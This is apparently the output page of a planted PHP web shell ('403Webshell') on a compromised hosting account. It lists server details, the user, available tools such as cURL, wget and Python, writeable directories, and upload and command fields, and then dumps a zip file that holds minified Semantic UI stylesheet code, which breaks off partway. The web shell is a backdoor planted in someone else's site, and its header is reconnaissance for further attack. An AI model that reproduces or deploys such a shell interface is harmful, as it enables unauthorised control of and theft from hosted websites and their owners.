403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.217.35
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/123click/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/123click/assets/contacts.zip
PK!�b��\�\dist/semantic.min.cssnu&1i� /*
 * # Semantic UI - 2.2.4
 * https://github.com/Semantic-Org/Semantic-UI
 * http://www.semantic-ui.com/
 *
 * Copyright 2014 Contributors
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */
*,:after,:before{box-sizing:inherit}html{box-sizing:border-box;font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}input[type=text],input[type=email],input[type=search],input[type=password]{-webkit-appearance:none;-moz-appearance:none}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background:0 0;color:#4183C4;text-decoration:none}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,optgroup,strong{font-weight:700}dfn{font-style:italic}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{height:0}pre,textarea{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-appearance:textfield}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}body,html{height:100%}html{font-size:14px}body{margin:0;padding:0;overflow-x:hidden;min-width:320px;font-size:14px;line-height:1.4285em;color:rgba(0,0,0,.87);font-smoothing:antialiased}h1,h2,h3,h4,h5{line-height:1.2857em;margin:calc(2rem - .14285em) 0 1rem;font-weight:700;padding:0}h1{min-height:1rem;font-size:2rem}h2{font-size:1.714rem}h3{font-size:1.28rem}h4{font-size:1.071rem}h5{font-size:1rem}h1:first-child,h2:first-child,h3:first-child,h4:first-child,h5:first-child,p:first-child{margin-top:0}h1:last-child,h2:last-child,h3:last-child,h4:last-child,h5:last-child,p:last-child{margin-bottom:0}p{margin:0 0 1em;line-height:1.4285em}a:hover{color:#1e70bf;text-decoration:none}::-webkit-selection{background-color:#CCE2FF;color:rgba(0,0,0,.87)}::-moz-selection{background-color:#CCE2FF;color:rgba(0,0,0,.87)}::selection{background-color:#CCE2FF;color:rgba(0,0,0,.87)}input::-webkit-selection,textarea::-webkit-selection{background-color:rgba(100,100,100,.4);color:rgba(0,0,0,.87)}input::-moz-selection,textarea::-moz-selection{background-color:rgba(100,100,100,.4);color:rgba(0,0,0,.87)}input::selection,textarea::selection{background-color:rgba(100,100,100,.4);color:rgba(0,0,0,.87)}.ui.button{cursor:pointer;display:inline-block;min-height:1em;outline:0;border:none;vertical-align:baseline;background:#E0E1E2;color:rgba(0,0,0,.6);margin:0 .25em 0 0;padding:.78571429em 1.5em;text-transform:none;text-shadow:none;font-weight:700;line-height:1em;font-style:normal;text-align:center;text-decoration:none;border-radius:.28571429rem;box-shadow:0 0 0 1px transparent inset,0 0 0 0 rgba(34,36,38,.15) inset;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-transition:opacity .1s ease,background-color .1s ease,color .1s ease,box-shadow .1s ease,background .1s ease;transition:opacity .1s ease,background-color .1s ease,color .1s ease,box-shadow .1s ease,background .1s ease;will-change:'';-webkit-tap-highlight-color:transparent}.ui.button:hover{background-color:#CACBCD;background-image:none;box-shadow:0 0 0 1px transparent inset,0 0 0 0 rgba(34,36,38,.15) inset;color:rgba(0,0,0,.8)}.ui.button:hover .icon{opacity:.85}.ui.button:focus{background-color:#CACBCD;color:rgba(0,0,0,.8);background-image:''!important;box-shadow:''!important}.ui.button:focus .icon{opacity:.85}.ui.active.button:active,.ui.button:active{background-color:#BABBBC;background-image:'';color:rgba(0,0,0,.9);box-shadow:0 0 0 1px transparent inset,none}.ui.active.button{background-color:#C0C1C2;background-image:none;box-shadow:0 0 0 1px transparent inset;color:rgba(0,0,0,.95)}.ui.active.button:hover{background-color:#C0C1C2;background-image:none;color:rgba(0,0,0,.95)}.ui.active.button:active{background-color:#C0C1C2;background-image:none}.ui.loading.loading.loading.loading.loading.loading.button{position:relative;cursor:default;text-shadow:none!important;color:transparent!important;opacity:1;pointer-events:auto;-webkit-transition:all 0s linear,opacity .1s ease;transition:all 0s linear,opacity .1s ease}.ui.loading.button:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;border-radius:500rem;border:.2em solid rgba(0,0,0,.15)}.ui.loading.button:after{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;-webkit-animation:button-spin .6s linear;animation:button-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#FFF transparent transparent;border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent}.ui.labeled.icon.loading.button .icon{background-color:transparent;box-shadow:none}@-webkit-keyframes button-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes button-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.basic.loading.button:not(.inverted):before{border-color:rgba(0,0,0,.1)}.ui.basic.loading.button:not(.inverted):after{border-top-color:#767676}.ui.button:disabled,.ui.buttons .disabled.button,.ui.disabled.active.button,.ui.disabled.button,.ui.disabled.button:hover{cursor:default;opacity:.45!important;background-image:none!important;box-shadow:none!important;pointer-events:none!important}.ui.basic.buttons .ui.disabled.button{border-color:rgba(34,36,38,.5)}.ui.animated.button{position:relative;overflow:hidden;padding-right:0!important;vertical-align:middle;z-index:1}.ui.animated.button .content{will-change:transform,opacity}.ui.animated.button .visible.content{position:relative;margin-right:1.5em;left:auto;right:0}.ui.animated.button .hidden.content{position:absolute;width:100%;top:50%;left:auto;right:-100%;margin-top:-.5em}.ui.animated.button .hidden.content,.ui.animated.button .visible.content{-webkit-transition:right .3s ease 0s;transition:right .3s ease 0s}.ui.animated.button:focus .visible.content,.ui.animated.button:hover .visible.content{left:auto;right:200%}.ui.animated.button:focus .hidden.content,.ui.animated.button:hover .hidden.content{left:auto;right:0}.ui.vertical.animated.button .hidden.content,.ui.vertical.animated.button .visible.content{-webkit-transition:top .3s ease,-webkit-transform .3s ease;transition:top .3s ease,-webkit-transform .3s ease;transition:top .3s ease,transform .3s ease;transition:top .3s ease,transform .3s ease,-webkit-transform .3s ease}.ui.vertical.animated.button .visible.content{-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0);right:auto}.ui.vertical.animated.button .hidden.content{top:-50%;left:0;right:auto}.ui.vertical.animated.button:focus .visible.content,.ui.vertical.animated.button:hover .visible.content{-webkit-transform:translateY(200%);-ms-transform:translateY(200%);transform:translateY(200%);right:auto}.ui.vertical.animated.button:focus .hidden.content,.ui.vertical.animated.button:hover .hidden.content{top:50%;right:auto}.ui.fade.animated.button .hidden.content,.ui.fade.animated.button .visible.content{-webkit-transition:opacity .3s ease,-webkit-transform .3s ease;transition:opacity .3s ease,-webkit-transform .3s ease;transition:opacity .3s ease,transform .3s ease;transition:opacity .3s ease,transform .3s ease,-webkit-transform .3s ease}.ui.fade.animated.button .visible.content{left:auto;right:auto;opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.ui.fade.animated.button .hidden.content{opacity:0;left:0;right:auto;-webkit-transform:scale(1.5);-ms-transform:scale(1.5);transform:scale(1.5)}.ui.fade.animated.button:focus .visible.content,.ui.fade.animated.button:hover .visible.content{left:auto;right:auto;opacity:0;-webkit-transform:scale(.75);-ms-transform:scale(.75);transform:scale(.75)}.ui.fade.animated.button:focus .hidden.content,.ui.fade.animated.button:hover .hidden.content{left:0;right:auto;opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.ui.inverted.button{box-shadow:0 0 0 2px #FFF inset!important;background:0 0;color:#FFF;text-shadow:none!important}.ui.inverted.buttons .button{margin:0 0 0 -2px}.ui.inverted.buttons .button:first-child{margin-left:0}.ui.inverted.vertical.buttons .button{margin:0 0 -2px}.ui.inverted.vertical.buttons .button:first-child{margin-top:0}.ui.inverted.button.active,.ui.inverted.button:focus,.ui.inverted.button:hover{background:#FFF;box-shadow:0 0 0 2px #FFF inset!important;color:rgba(0,0,0,.8)}.ui.inverted.button.active:focus{background:#DCDDDE;box-shadow:0 0 0 2px #DCDDDE inset!important;color:rgba(0,0,0,.8)}.ui.labeled.button:not(.icon){display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;background:0 0!important;padding:0!important;border:none!important;box-shadow:none!important}.ui.labeled.button>.button{margin:0}.ui.labeled.button>.label{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:0 0 0 -1px!important;padding:'';font-size:1em;border-color:rgba(34,36,38,.15)}.ui.labeled.button>.tag.label:before{width:1.85em;height:1.85em}.ui.labeled.button:not([class*="left labeled"])>.button{border-top-right-radius:0;border-bottom-right-radius:0}.ui.labeled.button:not([class*="left labeled"])>.label,.ui[class*="left labeled"].button>.button{border-top-left-radius:0;border-bottom-left-radius:0}.ui[class*="left labeled"].button>.label{border-top-right-radius:0;border-bottom-right-radius:0}.ui.facebook.button{background-color:#3B5998;color:#FFF;text-shadow:none;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.facebook.button:hover{background-color:#304d8a;color:#FFF;text-shadow:none}.ui.facebook.button:active{background-color:#2d4373;color:#FFF;text-shadow:none}.ui.twitter.button{background-color:#55ACEE;color:#FFF;text-shadow:none;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.twitter.button:hover{background-color:#35a2f4;color:#FFF;text-shadow:none}.ui.twitter.button:active{background-color:#2795e9;color:#FFF;text-shadow:none}.ui.google.plus.button{background-color:#DD4B39;color:#FFF;text-shadow:none;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.google.plus.button:hover{background-color:#e0321c;color:#FFF;text-shadow:none}.ui.google.plus.button:active{background-color:#c23321;color:#FFF;text-shadow:none}.ui.linkedin.button{background-color:#1F88BE;color:#FFF;text-shadow:none}.ui.linkedin.button:hover{background-color:#147baf;color:#FFF;text-shadow:none}.ui.linkedin.button:active{background-color:#186992;color:#FFF;text-shadow:none}.ui.youtube.button{background-color:#CC181E;color:#FFF;text-shadow:none;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.youtube.button:hover{background-color:#bd0d13;color:#FFF;text-shadow:none}.ui.youtube.button:active{background-color:#9e1317;color:#FFF;text-shadow:none}.ui.instagram.button{background-color:#49769C;color:#FFF;text-shadow:none;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.instagram.button:hover{background-color:#3d698e;color:#FFF;text-shadow:none}.ui.instagram.button:active{background-color:#395c79;color:#FFF;text-shadow:none}.ui.pinterest.button{background-color:#BD081C;color:#FFF;text-shadow:none;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.pinterest.button:hover{background-color:#ac0013;color:#FFF;text-shadow:none}.ui.pinterest.button:active{background-color:#8c0615;color:#FFF;text-shadow:none}.ui.vk.button{background-color:#4D7198;color:#FFF;background-image:none;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.vk.button:hover{background-color:#41648a;color:#FFF}.ui.vk.button:active{background-color:#3c5876;color:#FFF}.ui.button>.icon:not(.button){height:.85714286em;opacity:.8;margin:0 .42857143em 0 -.21428571em;-webkit-transition:opacity .1s ease;transition:opacity .1s ease;vertical-align:'';color:''}.ui.button:not(.icon)>.icon:not(.button):not(.dropdown){margin:0 .42857143em 0 -.21428571em}.ui.button:not(.icon)>.right.icon:not(.button):not(.dropdown){margin:0 -.21428571em 0 .42857143em}.ui[class*="left floated"].button,.ui[class*="left floated"].buttons{float:left;margin-left:0;margin-right:.25em}.ui[class*="right floated"].button,.ui[class*="right floated"].buttons{float:right;margin-right:0;margin-left:.25em}.ui.compact.button,.ui.compact.buttons .button{padding:.58928571em 1.125em}.ui.compact.icon.button,.ui.compact.icon.buttons .button{padding:.58928571em}.ui.compact.labeled.icon.button,.ui.compact.labeled.icon.buttons .button{padding:.58928571em 3.69642857em}.ui.mini.button,.ui.mini.buttons .button,.ui.mini.buttons .or{font-size:.78571429rem}.ui.tiny.button,.ui.tiny.buttons .button,.ui.tiny.buttons .or{font-size:.85714286rem}.ui.small.button,.ui.small.buttons .button,.ui.small.buttons .or{font-size:.92857143rem}.ui.button,.ui.buttons .button,.ui.buttons .or{font-size:1rem}.ui.large.button,.ui.large.buttons .button,.ui.large.buttons .or{font-size:1.14285714rem}.ui.big.button,.ui.big.buttons .button,.ui.big.buttons .or{font-size:1.28571429rem}.ui.huge.button,.ui.huge.buttons .button,.ui.huge.buttons .or{font-size:1.42857143rem}.ui.massive.button,.ui.massive.buttons .button,.ui.massive.buttons .or{font-size:1.71428571rem}.ui.icon.button,.ui.icon.buttons .button{padding:.78571429em}.ui.icon.button>.icon,.ui.icon.buttons .button>.icon{opacity:.9;margin:0;vertical-align:top}.ui.basic.button,.ui.basic.buttons .button{background:0 0!important;color:rgba(0,0,0,.6)!important;font-weight:400;border-radius:.28571429rem;text-transform:none;text-shadow:none!important;box-shadow:0 0 0 1px rgba(34,36,38,.15) inset}.ui.basic.buttons{box-shadow:none;border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem}.ui.basic.button:focus,.ui.basic.button:hover,.ui.basic.buttons .button:focus,.ui.basic.buttons .button:hover{background:#FFF!important;color:rgba(0,0,0,.8)!important;box-shadow:0 0 0 1px rgba(34,36,38,.35) inset,0 0 0 0 rgba(34,36,38,.15) inset}.ui.basic.button:active,.ui.basic.buttons .button:active{background:#F8F8F8!important;color:rgba(0,0,0,.9)!important;box-shadow:0 0 0 1px rgba(0,0,0,.15) inset,0 1px 4px 0 rgba(34,36,38,.15) inset}.ui.basic.active.button,.ui.basic.buttons .active.button{background:rgba(0,0,0,.05)!important;box-shadow:''!important;color:rgba(0,0,0,.95)}.ui.basic.active.button:hover,.ui.basic.buttons .active.button:hover{background-color:rgba(0,0,0,.05)}.ui.basic.buttons .button:hover{box-shadow:0 0 0 1px rgba(34,36,38,.35) inset,0 0 0 0 rgba(34,36,38,.15) inset inset}.ui.basic.buttons .button:active{box-shadow:0 0 0 1px rgba(0,0,0,.15) inset,0 1px 4px 0 rgba(34,36,38,.15) inset inset}.ui.basic.buttons .active.button{box-shadow:rgba(34,36,38,.35) inset}.ui.basic.inverted.button,.ui.basic.inverted.buttons .button{background-color:transparent!important;color:#F9FAFB!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important}.ui.basic.inverted.button:focus,.ui.basic.inverted.button:hover,.ui.basic.inverted.buttons .button:focus,.ui.basic.inverted.buttons .button:hover{color:#FFF!important;box-shadow:0 0 0 2px #fff inset!important}.ui.basic.inverted.button:active,.ui.basic.inverted.buttons .button:active{background-color:rgba(255,255,255,.08)!important;color:#FFF!important;box-shadow:0 0 0 2px rgba(255,255,255,.9) inset!important}.ui.basic.inverted.active.button,.ui.basic.inverted.buttons .active.button{background-color:rgba(255,255,255,.08);color:#FFF;text-shadow:none;box-shadow:0 0 0 2px rgba(255,255,255,.7) inset}.ui.basic.inverted.active.button:hover,.ui.basic.inverted.buttons .active.button:hover{background-color:rgba(255,255,255,.15);box-shadow:0 0 0 2px #fff inset!important}.ui.basic.buttons .button{border-radius:0;border-left:1px solid rgba(34,36,38,.15);box-shadow:none}.ui.basic.vertical.buttons .button{border-left:none;border-left-width:0;border-top:1px solid rgba(34,36,38,.15)}.ui.basic.vertical.buttons .button:first-child{border-top-width:0}.ui.labeled.icon.button,.ui.labeled.icon.buttons .button{position:relative;padding-left:4.07142857em!important;padding-right:1.5em!important}.ui.labeled.icon.button>.icon,.ui.labeled.icon.buttons>.button>.icon{position:absolute;height:100%;line-height:1;border-radius:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit;text-align:center;margin:0;width:2.57142857em;background-color:rgba(0,0,0,.05);color:'';box-shadow:-1px 0 0 0 transparent inset;top:0;left:0}.ui[class*="right labeled"].icon.button{padding-right:4.07142857em!important;padding-left:1.5em!important}.ui[class*="right labeled"].icon.button>.icon{left:auto;right:0;border-radius:0;border-top-right-radius:inherit;border-bottom-right-radius:inherit;box-shadow:1px 0 0 0 transparent inset}.ui.labeled.icon.button>.icon:after,.ui.labeled.icon.button>.icon:before,.ui.labeled.icon.buttons>.button>.icon:after,.ui.labeled.icon.buttons>.button>.icon:before{display:block;position:absolute;width:100%;top:50%;text-align:center;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}.ui.labeled.icon.buttons .button>.icon{border-radius:0}.ui.labeled.icon.buttons .button:first-child>.icon{border-top-left-radius:.28571429rem;border-bottom-left-radius:.28571429rem}.ui.labeled.icon.buttons .button:last-child>.icon{border-top-right-radius:.28571429rem;border-bottom-right-radius:.28571429rem}.ui.vertical.labeled.icon.buttons .button:first-child>.icon{border-radius:.28571429rem 0 0}.ui.vertical.labeled.icon.buttons .button:last-child>.icon{border-radius:0 0 0 .28571429rem}.ui.fluid[class*="left labeled"].icon.button,.ui.fluid[class*="right labeled"].icon.button{padding-left:1.5em!important;padding-right:1.5em!important}.ui.button.toggle.active,.ui.buttons .button.toggle.active,.ui.toggle.buttons .active.button{background-color:#21BA45!important;box-shadow:none!important;text-shadow:none;color:#FFF!important}.ui.button.toggle.active:hover{background-color:#16ab39!important;text-shadow:none;color:#FFF!important}.ui.circular.button{border-radius:10em}.ui.circular.button>.icon{width:1em;vertical-align:baseline}.ui.buttons .or{position:relative;width:.3em;height:2.57142857em;z-index:3}.ui.buttons .or:before{position:absolute;text-align:center;border-radius:500rem;content:'or';top:50%;left:50%;background-color:#FFF;text-shadow:none;margin-top:-.89285714em;margin-left:-.89285714em;width:1.78571429em;height:1.78571429em;line-height:1.78571429em;color:rgba(0,0,0,.4);font-style:normal;font-weight:700;box-shadow:0 0 0 1px transparent inset}.ui.buttons .or[data-text]:before{content:attr(data-text)}.ui.fluid.buttons .or{width:0!important}.ui.fluid.buttons .or:after{display:none}.ui.attached.button{position:relative;display:block;margin:0;border-radius:0;box-shadow:0 0 0 1px rgba(34,36,38,.15)!important}.ui.attached.top.button{border-radius:.28571429rem .28571429rem 0 0}.ui.attached.bottom.button{border-radius:0 0 .28571429rem .28571429rem}.ui.left.attached.button{display:inline-block;border-left:none;text-align:right;padding-right:.75em;border-radius:.28571429rem 0 0 .28571429rem}.ui.right.attached.button{display:inline-block;text-align:left;padding-left:.75em;border-radius:0 .28571429rem .28571429rem 0}.ui.attached.buttons{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;border-radius:0;width:auto!important;z-index:2;margin-left:-1px;margin-right:-1px}.ui.attached.buttons .button{margin:0}.ui.attached.buttons .button:first-child,.ui.attached.buttons .button:last-child{border-radius:0}.ui[class*="top attached"].buttons{margin-bottom:-1px;border-radius:.28571429rem .28571429rem 0 0}.ui[class*="top attached"].buttons .button:first-child{border-radius:.28571429rem 0 0}.ui[class*="top attached"].buttons .button:last-child{border-radius:0 .28571429rem 0 0}.ui[class*="bottom attached"].buttons{margin-top:-1px;border-radius:0 0 .28571429rem .28571429rem}.ui[class*="bottom attached"].buttons .button:first-child{border-radius:0 0 0 .28571429rem}.ui[class*="bottom attached"].buttons .button:last-child{border-radius:0 0 .28571429rem}.ui[class*="left attached"].buttons{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;margin-right:0;margin-left:-1px;border-radius:0 .28571429rem .28571429rem 0}.ui[class*="left attached"].buttons .button:first-child{margin-left:-1px;border-radius:0 .28571429rem 0 0}.ui[class*="left attached"].buttons .button:last-child{margin-left:-1px;border-radius:0 0 .28571429rem}.ui[class*="right attached"].buttons{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;margin-left:0;margin-right:-1px;border-radius:.28571429rem 0 0 .28571429rem}.ui[class*="right attached"].buttons .button:first-child{margin-left:-1px;border-radius:.28571429rem 0 0}.ui[class*="right attached"].buttons .button:last-child{margin-left:-1px;border-radius:0 0 0 .28571429rem}.ui.fluid.button,.ui.fluid.buttons{width:100%}.ui.fluid.button{display:block}.ui.two.buttons{width:100%}.ui.two.buttons>.button{width:50%}.ui.three.buttons{width:100%}.ui.three.buttons>.button{width:33.333%}.ui.four.buttons{width:100%}.ui.four.buttons>.button{width:25%}.ui.five.buttons{width:100%}.ui.five.buttons>.button{width:20%}.ui.six.buttons{width:100%}.ui.six.buttons>.button{width:16.666%}.ui.seven.buttons{width:100%}.ui.seven.buttons>.button{width:14.285%}.ui.eight.buttons{width:100%}.ui.eight.buttons>.button{width:12.5%}.ui.nine.buttons{width:100%}.ui.nine.buttons>.button{width:11.11%}.ui.ten.buttons{width:100%}.ui.ten.buttons>.button{width:10%}.ui.eleven.buttons{width:100%}.ui.eleven.buttons>.button{width:9.09%}.ui.twelve.buttons{width:100%}.ui.twelve.buttons>.button{width:8.3333%}.ui.fluid.vertical.buttons,.ui.fluid.vertical.buttons>.button{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:auto}.ui.two.vertical.buttons>.button{height:50%}.ui.three.vertical.buttons>.button{height:33.333%}.ui.four.vertical.buttons>.button{height:25%}.ui.five.vertical.buttons>.button{height:20%}.ui.six.vertical.buttons>.button{height:16.666%}.ui.seven.vertical.buttons>.button{height:14.285%}.ui.eight.vertical.buttons>.button{height:12.5%}.ui.nine.vertical.buttons>.button{height:11.11%}.ui.ten.vertical.buttons>.button{height:10%}.ui.eleven.vertical.buttons>.button{height:9.09%}.ui.twelve.vertical.buttons>.button{height:8.3333%}.ui.black.button,.ui.black.buttons .button{background-color:#1B1C1D;color:#FFF;text-shadow:none;background-image:none}.ui.black.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.black.button:hover,.ui.black.buttons .button:hover{background-color:#27292a;color:#FFF;text-shadow:none}.ui.black.button:focus,.ui.black.buttons .button:focus{background-color:#2f3032;color:#FFF;text-shadow:none}.ui.black.button:active,.ui.black.buttons .button:active{background-color:#343637;color:#FFF;text-shadow:none}.ui.black.active.button,.ui.black.button .active.button:active,.ui.black.buttons .active.button,.ui.black.buttons .active.button:active{background-color:#0f0f10;color:#FFF;text-shadow:none}.ui.basic.black.button,.ui.basic.black.buttons .button{box-shadow:0 0 0 1px #1B1C1D inset!important;color:#1B1C1D!important}.ui.basic.black.button:hover,.ui.basic.black.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #27292a inset!important;color:#27292a!important}.ui.basic.black.button:focus,.ui.basic.black.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #2f3032 inset!important;color:#27292a!important}.ui.basic.black.active.button,.ui.basic.black.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #0f0f10 inset!important;color:#343637!important}.ui.basic.black.button:active,.ui.basic.black.buttons .button:active{box-shadow:0 0 0 1px #343637 inset!important;color:#343637!important}.ui.buttons:not(.vertical)>.basic.black.button:not(:first-child){margin-left:-1px}.ui.inverted.black.button,.ui.inverted.black.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #D4D4D5 inset!important;color:#FFF}.ui.inverted.black.button.active,.ui.inverted.black.button:active,.ui.inverted.black.button:focus,.ui.inverted.black.button:hover,.ui.inverted.black.buttons .button.active,.ui.inverted.black.buttons .button:active,.ui.inverted.black.buttons .button:focus,.ui.inverted.black.buttons .button:hover{box-shadow:none!important;color:#FFF}.ui.inverted.black.active.button,.ui.inverted.black.button:active,.ui.inverted.black.button:focus,.ui.inverted.black.button:hover,.ui.inverted.black.buttons .active.button,.ui.inverted.black.buttons .button:active,.ui.inverted.black.buttons .button:focus,.ui.inverted.black.buttons .button:hover{background-color:#000}.ui.inverted.black.basic.button,.ui.inverted.black.basic.buttons .button,.ui.inverted.black.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#FFF!important}.ui.inverted.black.basic.button:hover,.ui.inverted.black.basic.buttons .button:hover,.ui.inverted.black.buttons .basic.button:hover{box-shadow:0 0 0 2px #000 inset!important;color:#FFF!important}.ui.inverted.black.basic.button:focus,.ui.inverted.black.basic.buttons .button:focus{box-shadow:0 0 0 2px #000 inset!important;color:#545454!important}.ui.inverted.black.basic.active.button,.ui.inverted.black.basic.button:active,.ui.inverted.black.basic.buttons .active.button,.ui.inverted.black.basic.buttons .button:active,.ui.inverted.black.buttons .basic.active.button,.ui.inverted.black.buttons .basic.button:active{box-shadow:0 0 0 2px #000 inset!important;color:#FFF!important}.ui.grey.button,.ui.grey.buttons .button{background-color:#767676;color:#FFF;text-shadow:none;background-image:none}.ui.grey.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.grey.button:hover,.ui.grey.buttons .button:hover{background-color:#838383;color:#FFF;text-shadow:none}.ui.grey.button:focus,.ui.grey.buttons .button:focus{background-color:#8a8a8a;color:#FFF;text-shadow:none}.ui.grey.button:active,.ui.grey.buttons .button:active{background-color:#909090;color:#FFF;text-shadow:none}.ui.grey.active.button,.ui.grey.button .active.button:active,.ui.grey.buttons .active.button,.ui.grey.buttons .active.button:active{background-color:#696969;color:#FFF;text-shadow:none}.ui.basic.grey.button,.ui.basic.grey.buttons .button{box-shadow:0 0 0 1px #767676 inset!important;color:#767676!important}.ui.basic.grey.button:hover,.ui.basic.grey.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #838383 inset!important;color:#838383!important}.ui.basic.grey.button:focus,.ui.basic.grey.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #8a8a8a inset!important;color:#838383!important}.ui.basic.grey.active.button,.ui.basic.grey.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #696969 inset!important;color:#909090!important}.ui.basic.grey.button:active,.ui.basic.grey.buttons .button:active{box-shadow:0 0 0 1px #909090 inset!important;color:#909090!important}.ui.buttons:not(.vertical)>.basic.grey.button:not(:first-child){margin-left:-1px}.ui.inverted.grey.button,.ui.inverted.grey.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #D4D4D5 inset!important;color:#FFF}.ui.inverted.grey.button.active,.ui.inverted.grey.button:active,.ui.inverted.grey.button:focus,.ui.inverted.grey.button:hover,.ui.inverted.grey.buttons .button.active,.ui.inverted.grey.buttons .button:active,.ui.inverted.grey.buttons .button:focus,.ui.inverted.grey.buttons .button:hover{box-shadow:none!important;color:rgba(0,0,0,.6)}.ui.inverted.grey.button:hover,.ui.inverted.grey.buttons .button:hover{background-color:#cfd0d2}.ui.inverted.grey.button:focus,.ui.inverted.grey.buttons .button:focus{background-color:#c7c9cb}.ui.inverted.grey.active.button,.ui.inverted.grey.buttons .active.button{background-color:#cfd0d2}.ui.inverted.grey.button:active,.ui.inverted.grey.buttons .button:active{background-color:#c2c4c5}.ui.inverted.grey.basic.button,.ui.inverted.grey.basic.buttons .button,.ui.inverted.grey.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#FFF!important}.ui.inverted.grey.basic.button:hover,.ui.inverted.grey.basic.buttons .button:hover,.ui.inverted.grey.buttons .basic.button:hover{box-shadow:0 0 0 2px #cfd0d2 inset!important;color:#FFF!important}.ui.inverted.grey.basic.button:focus,.ui.inverted.grey.basic.buttons .button:focus{box-shadow:0 0 0 2px #c7c9cb inset!important;color:#DCDDDE!important}.ui.inverted.grey.basic.active.button,.ui.inverted.grey.basic.buttons .active.button,.ui.inverted.grey.buttons .basic.active.button{box-shadow:0 0 0 2px #cfd0d2 inset!important;color:#FFF!important}.ui.inverted.grey.basic.button:active,.ui.inverted.grey.basic.buttons .button:active,.ui.inverted.grey.buttons .basic.button:active{box-shadow:0 0 0 2px #c2c4c5 inset!important;color:#FFF!important}.ui.brown.button,.ui.brown.buttons .button{background-color:#A5673F;color:#FFF;text-shadow:none;background-image:none}.ui.brown.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.brown.button:hover,.ui.brown.buttons 